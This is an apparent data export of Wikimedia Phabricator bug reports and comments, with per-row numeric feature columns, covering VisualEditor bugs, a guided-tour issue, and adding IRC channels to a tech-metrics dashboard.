https://gerrit.wikimedia.org/r/85970",,,1380109182,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-db7owolkladsvbupsv7m,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,17.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,4.739130434782608,0.9565217391304348,"Change 85970 had a related patch set uploaded by Esanders:
Show a label with the current dimensions while resizing

GERRIT_URL"
245563,VisualEditor: ResizableNode should show numeric dimensions when resizing.,"Created attachment 13376
Screenshot of implementation

**Attached**: {F11558}",,,1380109052,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-db7owolkladsvbupsv7m,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.235294117647059,0.8235294117647058,"Created attachment 13376
Screenshot of implementation

**Attached**: {F11558}"
56259,"VisualEditor: VE ""edit"" link in section edit links of a remote file tries to create a new page on local wiki, not remote section","Example image: https://www.mediawiki.org/wiki/File:MassMessage_submitted.png

Clicking on ""edit"" takes you to <https://www.mediawiki.org/wiki/File:MassMessage_submitted.png?veaction=edit&vesection=1>

Clicking on ""edit source"" tags you to <https://commons.wikimedia.org/w/index.php?title=File:MassMessage_submitted.png&action=edit&section=1>

The 'edit' link should take you to commons and somehow gracefully fallback on the wikitext editor since VE is not enabled.

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: https://www.mediawiki.org/wiki/File:MassMessage_submitted.png
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=62071",Low,25.0,1379486100,1398711424.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-wwi2e2vktmnorzseurla,task_description,resolved,True,c1,3,False,False,False,11,,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,17.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,8.0,2.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.284090909090909,0.48863636363636365,"Example image: URL

Clicking on ""edit"" takes you to <URL

Clicking on ""edit source"" tags you to <URL

The 'edit' link should take you to commons and somehow gracefully fallback on the wikitext editor since VE is not enabled.

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: URL
**See Also**:
URL"
243336,"VisualEditor: VE ""edit"" link in section edit links of a remote file tries to create a new page on local wiki, not remote section","Change 130082 merged by jenkins-bot:
Don't change section edit links on foreign file description pages

https://gerrit.wikimedia.org/r/130082",,,1398711188,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wwi2e2vktmnorzseurla,task_subcomment,,True,c1,3,False,,,43,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.590909090909091,1.0,"Change 130082 merged by jenkins-bot:
Don't change section edit links on foreign file description pages

GERRIT_URL"
243330,"VisualEditor: VE ""edit"" link in section edit links of a remote file tries to create a new page on local wiki, not remote section","Change 130082 had a related patch set uploaded by Alex Monk:
Don't change section edit links on foreign file description pages

https://gerrit.wikimedia.org/r/130082",,,1398697756,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wwi2e2vktmnorzseurla,task_subcomment,,True,c1,3,False,,,43,,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.576923076923077,1.0,"Change 130082 had a related patch set uploaded by Alex Monk:
Don't change section edit links on foreign file description pages

GERRIT_URL"
56248,Clicking VE edit after starting the wikitext 'firstedit' tour produces an incorrect step,"**Author:** `swalling`

**Description:**
Screenshot

If you start ?tour=firstedit and then click veaction=edit, you get the wikitext-related Preview step unattached (see screenshot).

This is a low priority issue, because users should only be getting the wikitext 'firstedit' tour if VE is not available. I am filing just in case the opposite situation might happen, i.e. users start a ?tour=vefirstedit, click Edit source, then get the VE tour step. If that's impossible, then this can be ignored for now.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11439}",Low,25.0,1379459220,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-7sgyl2imvttq6da7zqhg,task_description,open,True,c1,3,False,False,,11,,0.0,0.0,0.0,0.5,0.5,4.5,1.0,0.5,0.0,1.5,1.5,1.0,0.0,0.5,0.0,0.5,0.0,4.5,4.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,5.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,3.5,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5,2.5,9.5,2.0,0.5,5.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,1.5,4.5,4.0,1.0,1.0,0.0,1.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.5,3.683098591549296,0.7183098591549295,"**Author:** CODE

**Description:**
Screenshot

If you start ?tour=firstedit and then click veaction=edit, you get the wikitext-related Preview step unattached (see screenshot).

This is a low priority issue, because users should only be getting the wikitext 'firstedit' tour if VE is not available. I am filing just in case the opposite situation might happen, i.e. users start a ?tour=vefirstedit, click Edit source, then get the VE tour step. If that's impossible, then this can be ignored for now.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11439}"
242720,Clicking VE edit after starting the wikitext 'firstedit' tour produces an incorrect step,"If you look at firstedit tour definition, you'll see that shouldSkip is set to call isEditing() Calling gt.isEditing() checks to see if you are either editing with wikitext or if the VisualEditor is loaded.  However the tour step loads before ve is actually loaded.

IMO: isEditing needs to return true if VisualEditor is loading or loaded.  
Locally this fixes the bug for me.  I probably will make a patch for this.",,,1399496465,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-7sgyl2imvttq6da7zqhg,task_subcomment,,True,c1,3,False,,,44,,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,0.0,0.0,2.0,1.0,7.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,10.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,9.0,5.0,3.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,13.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,1.0,6.0,0.0,0.0,0.0,4.0,0.6896551724137931,"If you look at firstedit tour definition, you'll see that shouldSkip is set to call isEditing() Calling gt.isEditing() checks to see if you are either editing with wikitext or if the VisualEditor is loaded.  However the tour step loads before ve is actually loaded.

IMO: isEditing needs to return true if VisualEditor is loading or loaded.  
Locally this fixes the bug for me.  I probably will make a patch for this."
242715,Clicking VE edit after starting the wikitext 'firstedit' tour produces an incorrect step,"Change 84735 had a related patch set uploaded by Mattflaschen:
Declare tour as requiring wikitext, but it doesn't work yet.

https://gerrit.wikimedia.org/r/84735",,,1379495165,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sgyl2imvttq6da7zqhg,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,4.0,7.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.333333333333333,1.0,"Change 84735 had a related patch set uploaded by Mattflaschen:
Declare tour as requiring wikitext, but it doesn't work yet.

GERRIT_URL"
242710,Clicking VE edit after starting the wikitext 'firstedit' tour produces an incorrect step,"I was wrong about it being an easy fix.  As far as I can tell, this never worked (wikitext tours not being loaded for VisualEditor).  There are two different scenarios, which don't work for different reasons.

However, it will work in the other direction (which is probably why I didn't catch this bug earlier): If it's a VE tour it will not show in the wikitext editor.

I will fix this properly, but it looks like it may require some refactoring to do right.",,,1379495139,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-7sgyl2imvttq6da7zqhg,task_subcomment,,True,c1,3,True,,,11,,1.0,0.0,0.0,0.5,3.0,3.0,1.0,0.0,0.0,1.0,3.5,1.5,0.0,0.0,0.5,3.0,1.0,9.0,7.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,1.5,2.5,0.0,4.0,1.5,5.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.5,0.0,0.0,0.0,8.5,0.0,2.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,3.5,3.0,7.0,2.0,1.0,8.0,0.0,0.0,0.0,0.0,6.5,0.0,0.5,0.0,8.0,7.0,0.5,0.0,0.0,0.0,8.0,0.0,2.5,1.5,0.0,0.0,1.0,0.0,0.0,3.644230769230769,0.8076923076923077,"I was wrong about it being an easy fix.  As far as I can tell, this never worked (wikitext tours not being loaded for VisualEditor).  There are two different scenarios, which don't work for different reasons.

However, it will work in the other direction (which is probably why I didn't catch this bug earlier): If it's a VE tour it will not show in the wikitext editor.

I will fix this properly, but it looks like it may require some refactoring to do right."
242706,Clicking VE edit after starting the wikitext 'firstedit' tour produces an incorrect step,"Oh, I forgot the showConditionally.  This is a trivial fix, and I'll do it tonight.",,,1379459453,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-7sgyl2imvttq6da7zqhg,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,19.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.8571428571428571,"Oh, I forgot the showConditionally.  This is a trivial fix, and I'll do it tonight."
56230,Tech metrics missing IRC channels,"Currently there are only 4 IRC channels being scanned at 

http://korma.wmflabs.org/browser/irc-repos.html

https://meta.wikimedia.org/wiki/IRC/Channels#MediaWiki_and_technical contains the list of tech channels

#pywikipediabot should be added as well in order to keep consistency with https://wikitech.wikimedia.org/wiki/Key_Wikimedia_software_projects

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1379440500,1445360976.0,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-ylv5ntuga7adnifnjbdx,task_description,resolved,True,c1,3,False,False,False,11,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,8.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,13.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.245283018867925,0.7169811320754716,"Currently there are only 4 IRC channels being scanned at 

URL

URL contains the list of tech channels

#pywikipediabot should be added as well in order to keep consistency with URL

--------------------------
**Version**: unspecified
**Severity**: normal"
549126,Tech metrics missing IRC channels,Thanks! Closing.,,,1445360976,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,True,,,120,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Thanks! Closing.
549119,Tech metrics missing IRC channels,"Ok, channels are updated.

Having a JSON file with the list of channels and log place would be awesome :).

@Aklapper, from my side feel free to close the task if you prefer to have further discussion about automation in another ticket.",,,1445360460,,PHID-USER-kiwupwbdc2fe6dzsojnq,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,120,,0.0,0.0,0.0,2.0,0.0,8.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,8.0,2.0,2.0,8.0,0.0,2.0,0.0,0.0,6.0,0.0,2.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.040816326530612,0.8775510204081632,"Ok, channels are updated.

Having a JSON file with the list of channels and log place would be awesome :).
SCREEN_NAME, from my side feel free to close the task if you prefer to have further discussion about automation in another ticket."
549026,Tech metrics missing IRC channels,"Also note my last comment at https://github.com/benapetr/wikimedia-bot/pull/49#issuecomment-149596883
It would be trivial for this to all be in json format too but I would leave that for @petrb to implement!",,,1445354068,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,120,,3.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,3.0,10.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8666666666666667,0.9,"Also note my last comment at URL
It would be trivial for this to all be in json format too but I would leave that forSCREEN_NAME to implement!"
549024,Tech metrics missing IRC channels,">>! In T56230#1735259, @Aklapper wrote:
>>>! In T56230#1734947, @Dicortazar wrote:
>> is there a way to automatically retrieve the list of available channels?.
> 
> for ""automatically retrieve the list of channels **which are logged by wm-bot**"" I have asked its maintainer and will update this task once I've received an answer.

<addshore> the list is not on github! You manage the setting per channel through the bot!
<addshore> http://bots.wmflabs.org/~wm-bot/dump/systemdata.htm
<addshore> that has all of the info on it, updated every 20 mins
<addshore> there isn't a structured form currently though",,,1445353892,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,True,,,120,,3.0,0.0,0.0,0.0,3.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,11.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,3.0,8.0,8.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,12.0,3.484375,0.609375,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

<addshore> the list is not on github! You manage the setting per channel through the bot!
<addshore> URL
<addshore> that has all of the info on it, updated every 20 mins
<addshore> there isn't a structured form currently though"
548838,Tech metrics missing IRC channels,">>! In T56230#1737513, @Qgil wrote:
> Do we need to remove deprecated channels?

No, so I've canceled https://github.com/Bitergia/mediawiki-repositories/pull/8

>>! In T56230#1736157, @Dicortazar wrote:
> we just need to add the listed channels in that irc_channels.conf file and we would be done here :).

Awesome! Feel free to close this longstanding task after merging https://github.com/Bitergia/mediawiki-repositories/pull/9

We (I?) can create separate tasks to discuss whether to get certain channels logged by wm-bot (""mediawiki-i18n"", ""mediawiki-parsoid"", ""mediawiki-scripts"", ""wikimedia-cep"", ""wikimedia-design"", ""wikimedia-ect"", ""wikimedia-perf"", ""wikimedia-qa"", ""wikimedia-search"", ""pywikibot"") and after deciding, getting them added to korma later.",,,1445331981,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,True,,,120,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,1.0,5.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,15.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.5,0.0,0.0,0.5,0.0,3.5,0.0,0.0,0.0,2.0,5.0,4.5,0.5,15.5,0.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,3.3666666666666667,0.5583333333333333,"QUOTE
QUOTE

No, so I've canceled URL

QUOTE
QUOTE

Awesome! Feel free to close this longstanding task after merging URL

We (I?) can create separate tasks to discuss whether to get certain channels logged by wm-bot (""mediawiki-i18n"", ""mediawiki-parsoid"", ""mediawiki-scripts"", ""wikimedia-cep"", ""wikimedia-design"", ""wikimedia-ect"", ""wikimedia-perf"", ""wikimedia-qa"", ""wikimedia-search"", ""pywikibot"") and after deciding, getting them added to korma later."
548826,Tech metrics missing IRC channels,"This depends on your needs. I mean, as we're not automatically retrieving IRC channels information, we can keep as many channels as you want.

The irc_channels.conf file is more a place to centralize requirements from Korma than an automated place to retrieve IRC info. On the other hand, as we successfully automated Gerrit projects, the Gerrit .conf file is a place where automatically info is updated, added and removed.",,,1445329859,,PHID-USER-kiwupwbdc2fe6dzsojnq,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,120,,1.0,0.0,0.0,1.0,1.0,4.0,2.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,5.0,1.0,8.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,9.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,11.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,11.0,8.0,0.0,0.0,0.0,8.0,0.0,1.0,4.0,0.0,1.0,1.0,0.0,0.0,4.45,0.675,"This depends on your needs. I mean, as we're not automatically retrieving IRC channels information, we can keep as many channels as you want.

The irc_channels.conf file is more a place to centralize requirements from Korma than an automated place to retrieve IRC info. On the other hand, as we successfully automated Gerrit projects, the Gerrit .conf file is a place where automatically info is updated, added and removed."
548824,Tech metrics missing IRC channels,"Do we need to remove deprecated channels? Isn't their information useful to
count contributions of related users in those channels?",,,1445329360,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,120,,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,17.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.708333333333333,0.875,"Do we need to remove deprecated channels? Isn't their information useful to
count contributions of related users in those channels?"
548545,Tech metrics missing IRC channels,"@Aklapper, what I've done so far is to manually add them to the infrastructure (this is indeed a script deleting, removing, adding URLs, tar.gz, etc) and I wanted to add that list of TRACKED channels once the process if finished and correct (still running).

And yes, as you comment, we just need to add the listed channels in that irc_channels.conf file and we would be done here :).",,,1445286147,,PHID-USER-kiwupwbdc2fe6dzsojnq,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,False,,,120,,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,5.0,0.0,8.0,11.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,6.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,12.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,4.0,7.0,2.0,5.0,8.0,0.0,1.0,0.0,0.0,5.0,1.0,1.0,0.0,7.0,11.0,2.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,1.0,4.0,0.0,0.0,1.0,3.855421686746988,0.7108433734939759,"SCREEN_NAME, what I've done so far is to manually add them to the infrastructure (this is indeed a script deleting, removing, adding URLs, tar.gz, etc) and I wanted to add that list of TRACKED channels once the process if finished and correct (still running).

And yes, as you comment, we just need to add the listed channels in that irc_channels.conf file and we would be done here :)."
548524,Tech metrics missing IRC channels,">>! In T56230#1735971, @Dicortazar wrote:
> Based on info provided by @Aklapper, I've added all of them

Thank you. 
I think we're cool with this list for now; adding any further potential channels would first require making them logged on the Wikimedia side of things.

@Dicortazar: For my understanding of the infrastructure: where did you ""add"" them? Any URL to some public diff? I guess the next and last step for one of us is to provide a pull request to `mediawiki-repositories/irc_channels.conf` adding those TRACKED channels and after merging that pull request we are done here?",,,1445284658,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ylv5ntuga7adnifnjbdx,task_subcomment,,True,c1,3,True,,,120,,3.0,0.0,0.0,1.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,1.0,4.0,12.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,7.0,3.0,0.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,12.0,1.0,2.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,10.0,12.0,2.0,3.0,2.0,0.0,10.0,0.0,2.0,1.0,3.0,4.0,0.0,0.0,0.0,3.9375,0.75,"QUOTE
QUOTE

Thank you. 
I think we're cool with this list for now; adding any further potential channels would first require making them logged on the Wikimedia side of things.
SCREEN_NAME: For my understanding of the infrastructure: where did you ""add"" them? Any URL to some public diff? I guess the next and last step for one of us is to provide a pull request to CODE adding those TRACKED channels and after merging that pull request we are done here?"
548494,Tech metrics missing IRC channels,"Based on info provided by @Aklapper, I've added all of them, but mediawiki that was already in the list.

So, the list is as follows:

* ""mediawiki"": TRACKED
* ""mediawiki-i18n"": 
* ""semantic-mediawiki"": TRACKED
* ""mediawiki-parsoid"":
* ""mediawiki-visualeditor"": TRACKED
* ""mediawiki-scripts"":
* ""wikimedia-tech"": TRACKED
* ""wikimedia-dev"": TRACKED
* ""wikimedia-toolserver"": TRACKED
* ""wikimedia-labs"": TRACKED
* ""wikimedia-labs-nagios"":
* ""wikimedia-ai"": TRACKED
* ""wikimedia-analytics"": TRACKED
* ""wikimedia-cep"":
* ""mediawiki-core"": TRACKED
